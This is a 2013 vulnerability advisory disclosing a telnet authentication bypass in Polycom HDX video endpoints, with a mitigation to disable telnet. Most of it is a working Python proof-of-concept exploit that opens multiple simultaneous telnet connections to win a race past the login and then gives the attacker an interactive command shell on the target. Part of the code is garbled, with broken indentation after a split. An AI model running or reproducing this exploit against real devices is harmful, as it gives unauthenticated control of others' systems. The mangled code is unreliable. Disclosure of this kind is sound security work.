

Vulnerability Advisory

Name	HDX Telnet Authorization Bypass
Vendor Website	Polycom
Date Released	January 18, 2013
Affected Software	Polycom HDX Video Endpoints
Researcher	Paul Haas

Description

The telnet component of Polycom HDX Video endpoint devices is vulnerable to an authorization bypass when multiple simultaneous connections are repeatedly made to the service, allowing remote network attackers to gain full access to the Polycom command prompt without authentication. This vulnerability was found present in all HDX software versions running Commercial 3.0.5 and earlier.

Exploitation

The following Python code can be used to reproduce the issue:

Python Proof of Concept Code

```
#!/usr/bin/env python
# Paul Haas <Paul dot Haas at Security-Assessment dot com>
'''Polycom PSH Command Shell Authorization Bypass Proof of Concept

Bypass Polycom's PSH telnet login using a flaw with simultaneous
connections.'''
import sys,socket,time,threading,readline

PORT = 23      # Default service port
THREADS = 6    # Best results vary from 4-8
BUF = 9200     # For sock.recv buffer
WAIT = 0.5    # For time.sleep between sock.send and sock.recv
SHELL = False # Lock shell to a single thread in bypass function

def check(host,port):
    '''Check for server banner of vulnerable Polycom PSH shell'''
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.send('hello\n')
    time.sleep(WAIT)
    data = sock.recv(BUF).strip()
    sock.close()
    if 'Welcome to ViewStation' not in data:
        print "[Did not match banner information on %s:%i]: %s" % (host,port,data)
        exit(2)
    return 0

def bypass(host, port):
    '''Loop socket connection until login prompt is bypassed'''
    global SHELL
    while not SHELL:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))
        sock.send('whoami\n')
        data = sock.recv(BUF)
        while data:
            if SHELL: break
            elif 'Polycom' in data:
                SHELL = True
                print "[Bypass attack succeeded, spawning interactive shell]:"
                while data:
                    print data.strip()
```

```
    echo = raw_input("> ")
    try: sock.send("%s\n" % echo)
    except socket.error: break
    time.sleep(WAIT)
    data = sock.recv(BUF)
    print "[Connection closed]"
    elif 'bind' in data:
        print data.strip()
        sock.send('whoami\n')
    elif 'failed' in data:
        break
    data = sock.recv(BUF)
    sock.close()
return 0

if __name__ == '__main__':
    if len(sys.argv) <= 1:
        print __doc__
        print "Usage: %s [HOST] {PORT=%i} {THREADS=%s}" %
(sys.argv[0], PORT, THREADS)
        exit(1)
    host = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
    port = int(sys.argv[2]) if len(sys.argv) > 2 else PORT
    threads = int(sys.argv[3]) if len(sys.argv) > 3 else THREADS

    check(host, port)

    print "[Running attack against %s:%i using %i threads]" % (host, port, threads)
    print "[Look for 'Socket bind error' messages, bypass may take time]"
    for i in range(threads):
        thread = threading.Thread(target=bypass, args=(host, port,))
        thread.start()
```

Solution

Until a software solution is released, Polycom recommends administrators disable telnet on their HDX unit.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specializing in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognized companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Web www.security-assessment.com

Email info@security-assessment.com